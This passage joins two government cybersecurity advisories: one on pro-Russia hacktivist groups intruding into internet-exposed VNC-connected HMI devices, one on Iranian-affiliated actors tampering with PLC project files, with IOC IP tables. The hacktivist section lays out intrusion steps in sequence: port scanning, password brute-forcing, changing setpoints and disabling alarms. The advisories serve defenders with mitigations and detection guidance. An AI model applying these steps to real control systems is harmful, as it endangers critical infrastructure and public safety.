In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.
The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.
NoName057(16)
The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.
Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 
In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.
Z-Pentest
Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.
Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.
Sector16
Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.
Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
TTP Overview
Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.
Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.
Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.
Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
Use VNC software to access hosts [T1021.005].
Confirm connection to the vulnerable device [T0886].
Brute force the password, if required [T1110.003].
Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
Log the confirmed vulnerable device IP address, port, and password.
Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:

Modify usernames/passwords [T0892];
Modify parameters [T0836];
Modify device name [T0892];
Modify instrument settings [T0831];
Disable alarms [T0878];
Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
Device restart or shutdown [T0816].


Disconnect from the device, ending the VNC connection.
Research the compromised device company after the intrusion [T1591].

Propagation
To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.
Reconnaissance and Initial Access
The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.
Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.
Impact
While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.
Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.
MITRE ATT&CK Tactics and Techniques
See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.


Table 1. Reconnaissance


Technique Title
ID
Use




Gather Victim Organization Information
T1591
Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.


Active Scanning: Vulnerability Scanning
T1595.002
Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.




Table 2. Resource Development


Technique Title
ID
Use




Acquire Infrastructure: Virtual Private Server
T1583.003
Threat actors use virtual infrastructure to obfuscate identifiers.




Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
Threat actors gain access through less secure HMI devices exposed to the internet.




Table 4. Persistence


Technique Title
ID
Use




Valid Accounts
T0859
Threat actors use password guessing tools to access legitimate accounts on the HMI devices.




Table 5. Credential Access


Technique Title
ID
Use




Brute Force: Password Spraying
T1110.003
Threat actors use tools to rapidly guess common or simple passwords.




Table 6. Lateral Movement


Technique Title
ID
Use




Default Credentials
T0812
Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.


Remote Services
T0886
Threat actors leverage VNC services to access system HMI devices.


Remote Services: VNC
T1021.005
Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.




Table 7. Execution


Technique Title
ID
Use




Graphical User Interface
T0823
Threat actors interact with HMI devices via GUIs, attempting to modify control devices.




Table 8. Inhibit Response Function


Technique Title
ID
Use




Device Restart/Shutdown
T0816
While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.


Alarm Suppression
T0878
Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.


Change Credential
T0892
Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.




Table 9. Impair Process Control


Technique Title
ID
Use




Modify Parameter
T0836
Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.


Unauthorized Command Message
T0855
Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.




Table 10. Impact


Technique Title
ID
Use




Loss of Productivity and Revenue
T0828
Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.


Loss of View
T0829
Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 


Manipulation of Control
T0831
Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  



Incident Response
If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

Determine which hosts were compromised and isolate them by quarantining or taking them offline.
Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
Reimage compromised hosts.
Provision new account credentials.
Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations
OT Asset Owners and Operators
The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].

Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.

Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.




Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].

Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.

Keep VNC systems updated with the latest version available.


Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.


Ensure OT assets use robust authentication procedures.

Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.


Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.

Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].


Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers
Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.

Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.


Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on secure by design, see CISA’s Secure by Design webpage.
Validate Security Controls
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.
To start:

Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
Resources
Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.

For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.


The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.

See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.



Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.
Acknowledgements
Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.
Version History
December 09, 2025: Initial version.
Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups
For further information on targeting methodologies for pro-Russia hacktivist groups, see:

CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups
The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.
Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

GRU military unit 74455

Sandworm Team
Voodoo Bear
Seashell Blizzard
APT44


Cyber Army of Russia Reborn (CARR)

CyberArmy of Russia
Народная CyberАрмия (НКА)
People’s CyberArmy of Russia (PCA)
Russian CyberArmy Team (RCAT)


NoName057(16)

NoName057(16) Spain
NoName057(16) Italy
NoName057(16) France


Z-Pentest

Z-Pentest Beograd
Z-Pentest Alliance
Z-Alliance





Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Sat, 25 Jul 2026 09:12:34 +0200
Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.


Last Update Description
This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.


Affected Products
Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.


Key Actions


Install PLCs consistent with manufacturers' guidelines and security best practices.
Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.
Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from foreign hosting providers.
For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.




Indicators of Compromise

For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (July 2026) (29 KB)
AA26-097A STIX JSON (July 2026) (30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A STIX XML (36 KB)
AA26-097A STIX JSON (12 KB)
 




Intended Audience

Organizations: Critical Infrastructure
Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy 
Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer




Introduction
Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files¹ and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.
The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).
Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.
If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.
For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.
Download the PDF version of this report:






    
    Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
    (PDF,       1.09 MB
  )
  

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (XML, 29 KB)
AA26-097A STIX JSON (JSON, 30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:






    
    AA26-097A.stix_.xml
    (XML,       35.97 KB
  )
  







    
    AA26-097A.stix_.json
    (JSON,       11.87 KB
  )
  

Background Information
Similar Historical Activity Targeting Programmable Logic Controllers
During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.
For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.
Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers
The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.
(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.
Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
Initial Access
(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

Rockwell Automation: CompactLogix and Micro850 PLCs
Schneider Electric: BMX P34/Modicon M340 PLCs
Siemens: S7-1200 series PLCs

Command and Control
(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].
Exfiltration
(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].
Impact
(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.
Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.
Indicators of Compromise
See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.
Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise (New, July 22, 2026)


Indicator
Beginning of Actor Association
End of Actor Association




185.82.73[.]175
September 2025
February 2026


141.11.164[.]153
January 2026
June 2026


175.110.121[.]42
February 2026
March 2026


175.110.121[.]39
February 2026
March 2026


175.110.121[.]41
February 2026
March 2026


175.110.121[.]107
February 2026
February 2026


192.142.54[.]79
May 2026
June 2026


84.200.205[.]165
May 2026
June 2026


185.225.17[.]225
June 2026
July 2026


79.133.46[.]209
July 2026
July 2026


88.80.150[.]199
July 2026
July 2026

